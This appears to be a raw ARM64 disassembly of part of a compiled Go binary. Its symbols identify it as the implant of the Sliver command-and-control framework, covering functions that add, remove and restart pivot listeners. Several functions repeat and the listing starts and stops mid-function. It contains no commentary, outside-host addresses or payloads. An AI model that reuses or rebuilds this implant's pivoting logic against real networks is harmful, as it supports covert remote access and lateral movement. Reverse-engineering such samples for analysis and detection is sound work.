0042aed0add x1, x1, 2528
0042aed4subs xzr, x0, x1
0042aed8b.eq 0x42aee0
0042aedcb 0x42afa8
0042aee0
0042aee0loc_42aee0:
0042aee0str x3, [sp+96]
0042aee4mov x0, x3
0042aee8bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).ToProtobuf
0042aeecstr x0, [sp+104]
0042aef0ldr x1, [sp+112]
0042aef4ldr x2, [x1+16]
0042aef8ldr x0, [x1]
0042aefcldr x1, [x1+8]
0042af00add x1, x1, 1
0042af04subs xzr, x2, x1
0042af08b.hs 0x42af10
0042af0cb 0x42af14
0042af10
0042af10loc_42af10:
0042af10b 0x42af28
0042af14
0042af14loc_42af14:
0042af14orr x3, xzr, 1
0042af18adrp x4, 0x250000
0042af1cadd x4, x4, 1824
0042af20bl runtime.growslice
0042af24b 0x42af28
0042af28
0042af28loc_42af28:
0042af28sub x3, x1, 1
0042af2cldr x4, [sp+104]
0042af30adrp x27, 0x621000
0042af34ldr w5, [x27+3056]
0042af38cbz w5, 0x42af40
0042af3cb 0x42af44
0042af40
0042af40loc_42af40:
0042af40b 0x42af58
0042af44
0042af44loc_42af44:
0042af44bl runtime.gcWriteBarrier2
0042af48str x4, [x25]
0042af4cldr x5, [x0+3*x3]
0042af50str x5, [x25+8]
0042af54b 0x42af58
0042af58
0042af58loc_42af58:
0042af58str x4, [x0+3*x3]
0042af5cldr x3, [sp+112]
0042af60str x1, [x3+8]
0042af64str x2, [x3+16]
0042af68adrp x27, 0x621000
0042af6cldr w1, [x27+3056]
0042af70cbz w1, 0x42af78
0042af74b 0x42af7c
0042af78
0042af78loc_42af78:
0042af78b 0x42af90
0042af7c
0042af7cloc_42af7c:
0042af7cbl runtime.gcWriteBarrier2
0042af80str x0, [x25]
0042af84ldr x1, [x3]
0042af88str x1, [x25+8]
0042af8cb 0x42af90
0042af90
0042af90loc_42af90:
0042af90str x0, [x3]
0042af94orr x0, xzr, 1
0042af98strb w0, [sp+95]
0042af9cldur x29, [sp-8]
0042afa0ldr x30, [sp], 128
0042afa4ret x30
0042afa8
0042afa8loc_42afa8:
0042afa8adrp x2, 0x1e0000
0042afacadd x2, x2, 3520
0042afb0bl runtime.panicdottypeE
0042afb4hint
0042afb8
0042afb8loc_42afb8:
0042afb8stp x0, x1, [sp+8]
0042afbcstp x2, x3, [sp+24]
0042afc0mov x3, x30
0042afc4bl runtime.morestack.abi0
0042afc8ldp x0, x1, [sp+8]
0042afccldp x2, x3, [sp+24]
0042afd0b 0x42ae90
0042afd4udf 0
0042afd8udf 0
0042afdcudf 0
0042ae90
0042afe0
0042afe0github.com/bishopfox/sliver/implant/sliver/pivots.AddListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.AddListener(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * listener)
0042afe0ldr x16, [x28+16]
0042afe4sub x17, sp, 64
0042afe8subs xzr, x17, x16
0042afecb.ls 0x42b174
0042aff0str x30, [sp-192]!
0042aff4stur x29, [sp-8]
0042aff8sub x29, sp, 8
0042affcstr x0, [sp+200]
0042b000stp xzr, xzr, [sp+168]
0042b004add x1, sp, 168
0042b008str x1, [sp+128]
0042b00cadrp x27, 0x620000
0042b010ldr x0, [x27+2144]
0042b014bl runtime.convT64
0042b018str x0, [sp+120]
0042b01cldr x1, [sp+128]
0042b020ldrsb x27, [x1]
0042b024adrp x2, 0x1ca000
0042b028add x2, x2, 3392
0042b02cstr x2, [x1]
0042b030adrp x27, 0x620000
0042b034ldr w2, [x27+3056]
0042b038cbz w2, 0x42b040
0042b03cb 0x42b044
0042b040
0042b040loc_42b040:
0042b040b 0x42b058
0042b044
0042b044loc_42b044:
0042b044bl runtime.gcWriteBarrier2
0042b048str x0, [x25]
0042b04cldr x5, [x1+8]
0042b050str x5, [x25+8]
0042b054b 0x42b058
0042b058
0042b058loc_42b058:
0042b058str x0, [x1+8]
0042b05cldr x2, [sp+128]
0042b060ldrsb x27, [x2]
0042b064b 0x42b068
0042b068
0042b068loc_42b068:
0042b068str x2, [sp+136]
0042b06corr x4, xzr, 1
0042b070str x4, [sp+144]
0042b074str x4, [sp+152]
0042b078adrp x0, 0x28c000
0042b07cadd x0, x0, 2952
0042b080movz x1, 22
0042b084mov x3, x4
0042b088bl log.Printf
0042b08cstp xzr, xzr, [sp+168]
0042b090add x5, sp, 168
0042b094str x5, [sp+88]
0042b098ldr x5, [sp+200]
0042b09cldrsb x27, [x5]
0042b0a0ldr x0, [x5+32]
0042b0a4ldr x1, [x5+40]
0042b0a8str x0, [sp+72]
0042b0acstr x1, [sp+80]
0042b0b0bl runtime.convTstring
0042b0b4str x0, [sp+64]
0042b0b8ldr x5, [sp+88]
0042b0bcldrsb x27, [x5]
0042b0c0adrp x6, 0x1ca000
0042b0c4add x6, x6, 2944
0042b0c8str x6, [x5]
0042b0ccadrp x27, 0x620000
0042b0d0ldr w6, [x27+3056]
0042b0d4cbz w6, 0x42b0dc
0042b0d8b 0x42b0e0
0042b0dc
0042b0dcloc_42b0dc:
0042b0dcb 0x42b0f4
0042b0e0
0042b0e0loc_42b0e0:
0042b0e0bl runtime.gcWriteBarrier2
0042b0e4str x0, [x25]
0042b0e8ldr x6, [x5+8]
0042b0ecstr x6, [x25+8]
0042b0f0b 0x42b0f4
0042b0f4
0042b0f4loc_42b0f4:
0042b0f4str x0, [x5+8]
0042b0f8ldr x2, [sp+88]
0042b0fcldrsb x27, [x2]
0042b100b 0x42b104
0042b104
0042b104loc_42b104:
0042b104str x2, [sp+96]
0042b108orr x4, xzr, 1
0042b10cstr x4, [sp+104]
0042b110str x4, [sp+112]
0042b114adrp x0, 0x28f000
0042b118add x0, x0, 4064
0042b11cmovz x1, 27
0042b120mov x3, x4
0042b124bl log.Printf
0042b128ldr x5, [sp+200]
0042b12cldrsb x27, [x5]
0042b130ldr w0, [x5]
0042b134str w0, [sp+60]
0042b138bl runtime.convT32
0042b13cstr x0, [sp+160]
0042b140adrp x27, 0x5e2000
0042b144ldr x5, [x27+16]
0042b148ldr x4, [sp+200]
0042b14cadrp x1, 0x1ca000
0042b150add x1, x1, 3328
0042b154mov x2, x0
0042b158adrp x3, 0x1fd000
0042b15cadd x3, x3, 2528
0042b160mov x0, x5
0042b164bl sync.(*Map).Store
0042b168ldur x29, [sp-8]
0042b16cldr x30, [sp], 192
0042b170ret x30
0042b174
0042b174loc_42b174:
0042b174str x0, [sp+8]
0042b178mov x3, x30
0042b17cbl runtime.morestack_noctxt.abi0
0042b180ldr x0, [sp+8]
0042b184b 0x42afe0
0042b188udf 0
0042b18cudf 0
0042afe0
0042afe0github.com/bishopfox/sliver/implant/sliver/pivots.AddListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.AddListener(github.com/bishopfox/sliver/implant/sliver/pivots.PivotListener * listener)
0042afe0ldr x16, [x28+16]
0042afe4sub x17, sp, 64
0042afe8subs xzr, x17, x16
0042afecb.ls 0x42b174
0042aff0str x30, [sp-192]!
0042aff4stur x29, [sp-8]
0042aff8sub x29, sp, 8
0042affcstr x0, [sp+200]
0042b000stp xzr, xzr, [sp+168]
0042b004add x1, sp, 168
0042b008str x1, [sp+128]
0042b00cadrp x27, 0x620000
0042b010ldr x0, [x27+2144]
0042b014bl runtime.convT64
0042b018str x0, [sp+120]
0042b01cldr x1, [sp+128]
0042b020ldrsb x27, [x1]
0042b024adrp x2, 0x1ca000
0042b028add x2, x2, 3392
0042b02cstr x2, [x1]
0042b030adrp x27, 0x620000
0042b034ldr w2, [x27+3056]
0042b038cbz w2, 0x42b040
0042b03cb 0x42b044
0042b040
0042b040loc_42b040:
0042b040b 0x42b058
0042b044
0042b044loc_42b044:
0042b044bl runtime.gcWriteBarrier2
0042b048str x0, [x25]
0042b04cldr x5, [x1+8]
0042b050str x5, [x25+8]
0042b054b 0x42b058
0042b058
0042b058loc_42b058:
0042b058str x0, [x1+8]
0042b05cldr x2, [sp+128]
0042b060ldrsb x27, [x2]
0042b064b 0x42b068
0042b068
0042b068loc_42b068:
0042b068str x2, [sp+136]
0042b06corr x4, xzr, 1
0042b070str x4, [sp+144]
0042b074str x4, [sp+152]
0042b078adrp x0, 0x28c000
0042b07cadd x0, x0, 2952
0042b080movz x1, 22
0042b084mov x3, x4
0042b088bl log.Printf
0042b08cstp xzr, xzr, [sp+168]
0042b090add x5, sp, 168
0042b094str x5, [sp+88]
0042b098ldr x5, [sp+200]
0042b09cldrsb x27, [x5]
0042b0a0ldr x0, [x5+32]
0042b0a4ldr x1, [x5+40]
0042b0a8str x0, [sp+72]
0042b0acstr x1, [sp+80]
0042b0b0bl runtime.convTstring
0042b0b4str x0, [sp+64]
0042b0b8ldr x5, [sp+88]
0042b0bcldrsb x27, [x5]
0042b0c0adrp x6, 0x1ca000
0042b0c4add x6, x6, 2944
0042b0c8str x6, [x5]
0042b0ccadrp x27, 0x620000
0042b0d0ldr w6, [x27+3056]
0042b0d4cbz w6, 0x42b0dc
0042b0d8b 0x42b0e0
0042b0dc
0042b0dcloc_42b0dc:
0042b0dcb 0x42b0f4
0042b0e0
0042b0e0loc_42b0e0:
0042b0e0bl runtime.gcWriteBarrier2
0042b0e4str x0, [x25]
0042b0e8ldr x6, [x5+8]
0042b0ecstr x6, [x25+8]
0042b0f0b 0x42b0f4
0042b0f4
0042b0f4loc_42b0f4:
0042b0f4str x0, [x5+8]
0042b0f8ldr x2, [sp+88]
0042b0fcldrsb x27, [x2]
0042b100b 0x42b104
0042b104
0042b104loc_42b104:
0042b104str x2, [sp+96]
0042b108orr x4, xzr, 1
0042b10cstr x4, [sp+104]
0042b110str x4, [sp+112]
0042b114adrp x0, 0x28f000
0042b118add x0, x0, 4064
0042b11cmovz x1, 27
0042b120mov x3, x4
0042b124bl log.Printf
0042b128ldr x5, [sp+200]
0042b12cldrsb x27, [x5]
0042b130ldr w0, [x5]
0042b134str w0, [sp+60]
0042b138bl runtime.convT32
0042b13cstr x0, [sp+160]
0042b140adrp x27, 0x5e2000
0042b144ldr x5, [x27+16]
0042b148ldr x4, [sp+200]
0042b14cadrp x1, 0x1ca000
0042b150add x1, x1, 3328
0042b154mov x2, x0
0042b158adrp x3, 0x1fd000
0042b15cadd x3, x3, 2528
0042b160mov x0, x5
0042b164bl sync.(*Map).Store
0042b168ldur x29, [sp-8]
0042b16cldr x30, [sp], 192
0042b170ret x30
0042b174
0042b174loc_42b174:
0042b174str x0, [sp+8]
0042b178mov x3, x30
0042b17cbl runtime.morestack_noctxt.abi0
0042b180ldr x0, [sp+8]
0042b184b 0x42afe0
0042b188udf 0
0042b18cudf 0
0042afe0
0042b190
0042b190github.com/bishopfox/sliver/implant/sliver/pivots.RemoveListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RemoveListener(uint32 id)
0042b190ldr x16, [x28+16]
0042b194subs xzr, sp, x16
0042b198b.ls 0x42b260
0042b19cstr x30, [sp-112]!
0042b1a0stur x29, [sp-8]
0042b1a4sub x29, sp, 8
0042b1a8str w0, [sp+120]
0042b1acstp xzr, xzr, [sp+72]
0042b1b0ldr w3, [sp+120]
0042b1b4str w3, [sp+44]
0042b1b8adrp x27, 0x5e2000
0042b1bcldr x0, [x27+16]
0042b1c0adrp x1, 0x1ca000
0042b1c4add x1, x1, 3328
0042b1c8add x2, sp, 44
0042b1ccbl sync.(*Map).LoadAndDelete
0042b1d0str x0, [sp+72]
0042b1d4str x1, [sp+80]
0042b1d8strb w2, [sp+42]
0042b1dcldr x3, [sp+72]
0042b1e0ldr x4, [sp+80]
0042b1e4str x3, [sp+88]
0042b1e8str x4, [sp+96]
0042b1ecldrb w3, [sp+42]
0042b1f0strb w3, [sp+43]
0042b1f4ldr x3, [sp+88]
0042b1f8ldr x4, [sp+96]
0042b1fcstr x3, [sp+48]
0042b200str x4, [sp+56]
0042b204ldrb w3, [sp+43]
0042b208strb w3, [sp+41]
0042b20ctbnz w3, 0, 0x42b214
0042b210b 0x42b240
0042b214
0042b214loc_42b214:
0042b214ldr x0, [sp+48]
0042b218ldr x3, [sp+56]
0042b21cadrp x1, 0x1fd000
0042b220add x1, x1, 2528
0042b224subs xzr, x0, x1
0042b228b.eq 0x42b230
0042b22cb 0x42b250
0042b230
0042b230loc_42b230:
0042b230str x3, [sp+64]
0042b234mov x0, x3
0042b238bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop
0042b23cb 0x42b244
0042b240
0042b240loc_42b240:
0042b240b 0x42b244
0042b244
0042b244loc_42b244:
0042b244ldur x29, [sp-8]
0042b248ldr x30, [sp], 112
0042b24cret x30
0042b250
0042b250loc_42b250:
0042b250adrp x2, 0x1df000
0042b254add x2, x2, 3520
0042b258bl runtime.panicdottypeE
0042b25chint
0042b260
0042b260loc_42b260:
0042b260str w0, [sp+8]
0042b264mov x3, x30
0042b268bl runtime.morestack_noctxt.abi0
0042b26cldr w0, [sp+8]
0042b270b 0x42b190
0042b274udf 0
0042b278udf 0
0042b27cudf 0
0042b190
0042b190github.com/bishopfox/sliver/implant/sliver/pivots.RemoveListener: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RemoveListener(uint32 id)
0042b190ldr x16, [x28+16]
0042b194subs xzr, sp, x16
0042b198b.ls 0x42b260
0042b19cstr x30, [sp-112]!
0042b1a0stur x29, [sp-8]
0042b1a4sub x29, sp, 8
0042b1a8str w0, [sp+120]
0042b1acstp xzr, xzr, [sp+72]
0042b1b0ldr w3, [sp+120]
0042b1b4str w3, [sp+44]
0042b1b8adrp x27, 0x5e2000
0042b1bcldr x0, [x27+16]
0042b1c0adrp x1, 0x1ca000
0042b1c4add x1, x1, 3328
0042b1c8add x2, sp, 44
0042b1ccbl sync.(*Map).LoadAndDelete
0042b1d0str x0, [sp+72]
0042b1d4str x1, [sp+80]
0042b1d8strb w2, [sp+42]
0042b1dcldr x3, [sp+72]
0042b1e0ldr x4, [sp+80]
0042b1e4str x3, [sp+88]
0042b1e8str x4, [sp+96]
0042b1ecldrb w3, [sp+42]
0042b1f0strb w3, [sp+43]
0042b1f4ldr x3, [sp+88]
0042b1f8ldr x4, [sp+96]
0042b1fcstr x3, [sp+48]
0042b200str x4, [sp+56]
0042b204ldrb w3, [sp+43]
0042b208strb w3, [sp+41]
0042b20ctbnz w3, 0, 0x42b214
0042b210b 0x42b240
0042b214
0042b214loc_42b214:
0042b214ldr x0, [sp+48]
0042b218ldr x3, [sp+56]
0042b21cadrp x1, 0x1fd000
0042b220add x1, x1, 2528
0042b224subs xzr, x0, x1
0042b228b.eq 0x42b230
0042b22cb 0x42b250
0042b230
0042b230loc_42b230:
0042b230str x3, [sp+64]
0042b234mov x0, x3
0042b238bl github.com/bishopfox/sliver/implant/sliver/pivots.(*PivotListener).Stop
0042b23cb 0x42b244
0042b240
0042b240loc_42b240:
0042b240b 0x42b244
0042b244
0042b244loc_42b244:
0042b244ldur x29, [sp-8]
0042b248ldr x30, [sp], 112
0042b24cret x30
0042b250
0042b250loc_42b250:
0042b250adrp x2, 0x1df000
0042b254add x2, x2, 3520
0042b258bl runtime.panicdottypeE
0042b25chint
0042b260
0042b260loc_42b260:
0042b260str w0, [sp+8]
0042b264mov x3, x30
0042b268bl runtime.morestack_noctxt.abi0
0042b26cldr w0, [sp+8]
0042b270b 0x42b190
0042b274udf 0
0042b278udf 0
0042b27cudf 0
0042b190
0042b280
0042b280github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners(chan<- *github.com/bishopfox/sliver/protobuf/sliverpb.Envelope send)
0042b280ldr x16, [x28+16]
0042b284subs xzr, sp, x16
0042b288b.ls 0x42b388
0042b28cstr x30, [sp-80]!
0042b290stur x29, [sp-8]
0042b294sub x29, sp, 8
0042b298str x0, [sp+88]
0042b29cstp xzr, xzr, [sp+56]
0042b2a0add x1, sp, 56
0042b2a4str x1, [sp+48]
0042b2a8ldrsb x27, [x1]
0042b2acadrp x2, 0
0042b2b0add x2, x2, 928
0042b2b4str x2, [x1]
0042b2b8ldrsb x27, [x1]
0042b2bcldr x2, [sp+88]
0042b2c0adrp x27, 0x620000
0042b2c4ldr w3, [x27+3056]
0042b2c8cbz w3, 0x42b2d0
0042b2ccb 0x42b2d4
0042b2d0
0042b2d0loc_42b2d0:
0042b2d0b 0x42b2e8
0042b2d4
0042b2d4loc_42b2d4:
0042b2d4bl runtime.gcWriteBarrier2
0042b2d8str x2, [x25]
0042b2dcldr x3, [x1+8]
0042b2e0str x3, [x25+8]
0042b2e4b 0x42b2e8
0042b2e8
0042b2e8loc_42b2e8:
0042b2e8str x2, [x1+8]
0042b2ecadrp x27, 0x5e2000
0042b2f0ldr x0, [x27+24]
0042b2f4bl sync.(*Map).Range
0042b2f8adrp x0, 0x215000
0042b2fcadd x0, x0, 2144
0042b300bl runtime.newobject
0042b304str x0, [sp+40]
0042b308adrp x27, 0x620000
0042b30cldr w2, [x27+3056]
0042b310cbz w2, 0x42b318
0042b314b 0x42b31c
0042b318
0042b318loc_42b318:
0042b318b 0x42b338
0042b31c
0042b31cloc_42b31c:
0042b31cstr x0, [sp+32]
0042b320mov x1, x0
0042b324adrp x0, 0x215000
0042b328add x0, x0, 2144
0042b32cbl runtime.wbZero
0042b330ldr x0, [sp+32]
0042b334b 0x42b338
0042b338
0042b338loc_42b338:
0042b338stp xzr, xzr, [x0]
0042b33cstp xzr, xzr, [x0+16]
0042b340stp xzr, xzr, [x0+32]
0042b344ldr x0, [sp+40]
0042b348adrp x27, 0x620000
0042b34cldr w1, [x27+3056]
0042b350cbz w1, 0x42b358
0042b354b 0x42b35c
0042b358
0042b358loc_42b358:
0042b358b 0x42b374
0042b35c
0042b35cloc_42b35c:
0042b35cbl runtime.gcWriteBarrier2
0042b360str x0, [x25]
0042b364adrp x27, 0x5e2000
0042b368ldr x1, [x27+24]
0042b36cstr x1, [x25+8]
0042b370b 0x42b374
0042b374
0042b374loc_42b374:
0042b374adrp x27, 0x5e2000
0042b378str x0, [x27+24]
0042b37cldur x29, [sp-8]
0042b380ldr x30, [sp], 80
0042b384ret x30
0042b388
0042b388loc_42b388:
0042b388str x0, [sp+8]
0042b38cmov x3, x30
0042b390bl runtime.morestack_noctxt.abi0
0042b394ldr x0, [sp+8]
0042b398b 0x42b280
0042b39cudf 0
0042b280
0042b280github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners(chan<- *github.com/bishopfox/sliver/protobuf/sliverpb.Envelope send)
0042b280ldr x16, [x28+16]
0042b284subs xzr, sp, x16
0042b288b.ls 0x42b388
0042b28cstr x30, [sp-80]!
0042b290stur x29, [sp-8]
0042b294sub x29, sp, 8
0042b298str x0, [sp+88]
0042b29cstp xzr, xzr, [sp+56]
0042b2a0add x1, sp, 56
0042b2a4str x1, [sp+48]
0042b2a8ldrsb x27, [x1]
0042b2acadrp x2, 0
0042b2b0add x2, x2, 928
0042b2b4str x2, [x1]
0042b2b8ldrsb x27, [x1]
0042b2bcldr x2, [sp+88]
0042b2c0adrp x27, 0x620000
0042b2c4ldr w3, [x27+3056]
0042b2c8cbz w3, 0x42b2d0
0042b2ccb 0x42b2d4
0042b2d0
0042b2d0loc_42b2d0:
0042b2d0b 0x42b2e8
0042b2d4
0042b2d4loc_42b2d4:
0042b2d4bl runtime.gcWriteBarrier2
0042b2d8str x2, [x25]
0042b2dcldr x3, [x1+8]
0042b2e0str x3, [x25+8]
0042b2e4b 0x42b2e8
0042b2e8
0042b2e8loc_42b2e8:
0042b2e8str x2, [x1+8]
0042b2ecadrp x27, 0x5e2000
0042b2f0ldr x0, [x27+24]
0042b2f4bl sync.(*Map).Range
0042b2f8adrp x0, 0x215000
0042b2fcadd x0, x0, 2144
0042b300bl runtime.newobject
0042b304str x0, [sp+40]
0042b308adrp x27, 0x620000
0042b30cldr w2, [x27+3056]
0042b310cbz w2, 0x42b318
0042b314b 0x42b31c
0042b318
0042b318loc_42b318:
0042b318b 0x42b338
0042b31c
0042b31cloc_42b31c:
0042b31cstr x0, [sp+32]
0042b320mov x1, x0
0042b324adrp x0, 0x215000
0042b328add x0, x0, 2144
0042b32cbl runtime.wbZero
0042b330ldr x0, [sp+32]
0042b334b 0x42b338
0042b338
0042b338loc_42b338:
0042b338stp xzr, xzr, [x0]
0042b33cstp xzr, xzr, [x0+16]
0042b340stp xzr, xzr, [x0+32]
0042b344ldr x0, [sp+40]
0042b348adrp x27, 0x620000
0042b34cldr w1, [x27+3056]
0042b350cbz w1, 0x42b358
0042b354b 0x42b35c
0042b358
0042b358loc_42b358:
0042b358b 0x42b374
0042b35c
0042b35cloc_42b35c:
0042b35cbl runtime.gcWriteBarrier2
0042b360str x0, [x25]
0042b364adrp x27, 0x5e2000
0042b368ldr x1, [x27+24]
0042b36cstr x1, [x25+8]
0042b370b 0x42b374
0042b374
0042b374loc_42b374:
0042b374adrp x27, 0x5e2000
0042b378str x0, [x27+24]
0042b37cldur x29, [sp-8]
0042b380ldr x30, [sp], 80
0042b384ret x30
0042b388
0042b388loc_42b388:
0042b388str x0, [sp+8]
0042b38cmov x3, x30
0042b390bl runtime.morestack_noctxt.abi0
0042b394ldr x0, [sp+8]
0042b398b 0x42b280
0042b39cudf 0
0042b280
0042b3a0
0042b3a0github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1(interface {} key, interface {} value)
0042b3a0ldr x16, [x28+16]
0042b3a4sub x17, sp, 192
0042b3a8subs xzr, x17, x16
0042b3acb.ls 0x42b658
0042b3b0sub x20, sp, 320
0042b3b4stp x29, x30, [x20-8]
0042b3b8add sp, x20, 0
0042b3bcsub x29, sp, 8
0042b3c0str x0, [sp+328]
0042b3c4str x1, [sp+336]
0042b3c8str x2, [sp+344]
0042b3ccstr x3, [sp+352]
0042b3d0ldr x3, [x26+8]
0042b3d4str x3, [sp+72]
0042b3d8strb wzr, [sp+56]
0042b3dcldr x0, [sp+344]
0042b3e0ldr x3, [sp+352]
0042b3e4adrp x1, 0x1fd000
0042b3e8add x1, x1, 2528
0042b3ecsubs xzr, x0, x1
0042b3f0b.eq 0x42b3f8
0042b3f4b 0x42b648
0042b3f8
0042b3f8loc_42b3f8:
0042b3f8str x3, [sp+64]
0042b3fcstr xzr, [sp+272]
0042b400ldr x3, [sp+64]
0042b404ldrsb x27, [x3]
0042b408ldrsw x3, [x3+4]
0042b40cstr w3, [sp+60]
0042b410ldr w2, [sp+60]
0042b414adrp x27, 0x5f5000
0042b418ldr x1, [x27+3208]
0042b41cadrp x0, 0x1f8000
0042b420add x0, x0, 3296
0042b424bl runtime.mapaccess2_fast32
0042b428str x0, [sp+224]
0042b42cstrb w1, [sp+59]
0042b430ldr x3, [sp+224]
0042b434ldr x3, [x3]
0042b438str x3, [sp+272]
0042b43cstr x3, [sp+112]
0042b440ldrb w3, [sp+59]
0042b444strb w3, [sp+58]
0042b448ldr x3, [sp+112]
0042b44cstr x3, [sp+104]
0042b450ldrb w3, [sp+58]
0042b454strb w3, [sp+57]
0042b458tbnz w3, 0, 0x42b460
0042b45cb 0x42b630
0042b460
0042b460loc_42b460:
0042b460str xzr, [sp+264]
0042b464stp xzr, xzr, [sp+248]
0042b468ldr x6, [sp+64]
0042b46cldrsb x27, [x6]
0042b470ldr x7, [x6+32]
0042b474ldr x6, [x6+40]
0042b478str x7, [sp+208]
0042b47cstr x6, [sp+216]
0042b480ldr x6, [sp+64]
0042b484ldrsb x27, [x6]
0042b488ldr x3, [x6+56]
0042b48cldr x4, [x6+64]
0042b490ldr x5, [x6+72]
0042b494str x3, [sp+184]
0042b498str x4, [sp+192]
0042b49cstr x5, [sp+200]
0042b4a0ldr x26, [sp+104]
0042b4a4ldr x6, [x26]
0042b4a8ldr x2, [sp+72]
0042b4acldr x0, [sp+208]
0042b4b0ldr x1, [sp+216]
0042b4b4blr x6
0042b4b8str x0, [sp+264]
0042b4bcstr x1, [sp+248]
0042b4c0str x2, [sp+256]
0042b4c4ldr x6, [sp+264]
0042b4c8str x6, [sp+304]
0042b4ccldr x6, [sp+248]
0042b4d0ldr x7, [sp+256]
0042b4d4str x6, [sp+288]
0042b4d8str x7, [sp+296]
0042b4dcldr x6, [sp+304]
0042b4e0str x6, [sp+80]
0042b4e4ldr x6, [sp+296]
0042b4e8ldr x7, [sp+288]
0042b4ecstr x7, [sp+88]
0042b4f0str x6, [sp+96]
0042b4f4cbnz x7, 0x42b4fc
0042b4f8b 0x42b5c0
0042b4fc
0042b4fcloc_42b4fc:
0042b4fcstp xzr, xzr, [sp+232]
0042b500add x5, sp, 232
0042b504str x5, [sp+152]
0042b508ldr x5, [sp+88]
0042b50cldr x6, [sp+96]
0042b510str x5, [sp+136]
0042b514str x6, [sp+144]
0042b518str x5, [sp+128]
0042b51cldr x5, [sp+128]
0042b520cbnz x5, 0x42b528
0042b524b 0x42b538
0042b528
0042b528loc_42b528:
0042b528ldr x5, [sp+128]
0042b52cldr x5, [x5+8]
0042b530str x5, [sp+128]
0042b534b 0x42b53c
0042b538
0042b538loc_42b538:
0042b538b 0x42b53c
0042b53c
0042b53cloc_42b53c:
0042b53cldr x5, [sp+152]
0042b540ldrsb x27, [x5]
0042b544ldr x6, [sp+128]
0042b548ldr x7, [sp+144]
0042b54cstr x6, [x5]
0042b550adrp x27, 0x620000
0042b554ldr w6, [x27+3056]
0042b558cbz w6, 0x42b560
0042b55cb 0x42b564
0042b560
0042b560loc_42b560:
0042b560b 0x42b578
0042b564
0042b564loc_42b564:
0042b564bl runtime.gcWriteBarrier2
0042b568str x7, [x25]
0042b56cldr x6, [x5+8]
0042b570str x6, [x25+8]
0042b574b 0x42b578
0042b578
0042b578loc_42b578:
0042b578str x7, [x5+8]
0042b57cldr x2, [sp+152]
0042b580ldrsb x27, [x2]
0042b584b 0x42b588
0042b588
0042b588loc_42b588:
0042b588str x2, [sp+160]
0042b58corr x4, xzr, 1
0042b590str x4, [sp+168]
0042b594str x4, [sp+176]
0042b598adrp x0, 0x297000
0042b59cadd x0, x0, 2848
0042b5a0movz x1, 38
0042b5a4mov x3, x4
0042b5a8bl log.Printf
0042b5acstrb wzr, [sp+56]
0042b5b0mov x0, xzr
0042b5b4ldp x29, x30, [sp-8]
0042b5b8add sp, sp, 320
0042b5bcret x30
0042b5c0
0042b5c0loc_42b5c0:
0042b5c0ldr x1, [sp+80]
0042b5c4str x1, [sp+280]
0042b5c8adrp x0, 0x206000
0042b5ccadd x0, x0, 3648
0042b5d0bl runtime.newobject
0042b5d4str x0, [sp+120]
0042b5d8adrp x1, 0
0042b5dcadd x1, x1, 1664
0042b5e0str x1, [x0]
0042b5e4ldr x1, [sp+280]
0042b5e8ldr x2, [sp+120]
0042b5ecldrsb x27, [x2]
0042b5f0adrp x27, 0x620000
0042b5f4ldr w3, [x27+3056]
0042b5f8cbz w3, 0x42b600
0042b5fcb 0x42b604
0042b600
0042b600loc_42b600:
0042b600b 0x42b618
0042b604
0042b604loc_42b604:
0042b604bl runtime.gcWriteBarrier2
0042b608str x1, [x25]
0042b60cldr x3, [x2+8]
0042b610str x3, [x25+8]
0042b614b 0x42b618
0042b618
0042b618loc_42b618:
0042b618str x1, [x2+8]
0042b61cldr x0, [sp+120]
0042b620bl runtime.newproc
0042b624ldr x0, [sp+80]
0042b628bl github.com/bishopfox/sliver/implant/sliver/pivots.AddListener
0042b62cb 0x42b634
0042b630
0042b630loc_42b630:
0042b630b 0x42b634
0042b634
0042b634loc_42b634:
0042b634orr x0, xzr, 1
0042b638strb w0, [sp+56]
0042b63cldp x29, x30, [sp-8]
0042b640add sp, sp, 320
0042b644ret x30
0042b648
0042b648loc_42b648:
0042b648adrp x2, 0x1df000
0042b64cadd x2, x2, 3520
0042b650bl runtime.panicdottypeE
0042b654hint
0042b658
0042b658loc_42b658:
0042b658stp x0, x1, [sp+8]
0042b65cstp x2, x3, [sp+24]
0042b660mov x3, x30
0042b664bl runtime.morestack.abi0
0042b668ldp x0, x1, [sp+8]
0042b66cldp x2, x3, [sp+24]
0042b670b 0x42b3a0
0042b674udf 0
0042b678udf 0
0042b67cudf 0
0042b3a0
0042b3a0github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1: ; void github.com/bishopfox/sliver/implant/sliver/pivots.RestartAllListeners.func1(interface {} key, interface {} value)
0042b3a0ldr x16, [x28+16]
0042b3a4sub x17, sp, 192
0042b3a8subs xzr, x17, x16
0042b3acb.ls 0x42b658
0042b3b0sub x20, sp, 320
0042b3b4stp x29, x30, [x20-8]
0042b3b8add sp, x20, 0
0042b3bcsub x29, sp, 8
0042b3c0str x0, [sp+328]
0042b3c4str x1, [sp+336]
0042b3c8str x2, [sp+344]
0042b3ccstr x3, [sp+352]
0042b3d0ldr x3, [x26+8]
0042b3d4str x3, [sp+72]
0042b3d8strb wzr, [sp+56]
0042b3dcldr x0, [sp+344]
0042b3e0ldr x3, [sp+352]
0042b3e4adrp x1, 0x1fd000
0042b3e8add x1, x1, 2528
0042b3ecsubs xzr, x0, x1
0042b3f0b.eq 0x42b3f8
0042b3f4b 0x42b648
0042b3f8
0042b3f8loc_42b3f8:
0042b3f8str x3, [sp+64]
0042b3fcstr xzr, [sp+272]
0042b400ldr x3, [sp+64]
0042b404ldrsb x27, [x3]
0042b408ldrsw x3, [x3+4]
0042b40cstr w3, [sp+60]
0042b410ldr w2, [sp+60]
0042b414adrp x27, 0x5f5000
0042b418ldr x1, [x27+3208]
0042b41cadrp x0, 0x1f8000
0042b420add x0, x0, 3296
0042b424bl runtime.mapaccess2_fast32
0042b428str x0, [sp+224]
0042b42cstrb w1, [sp+59]
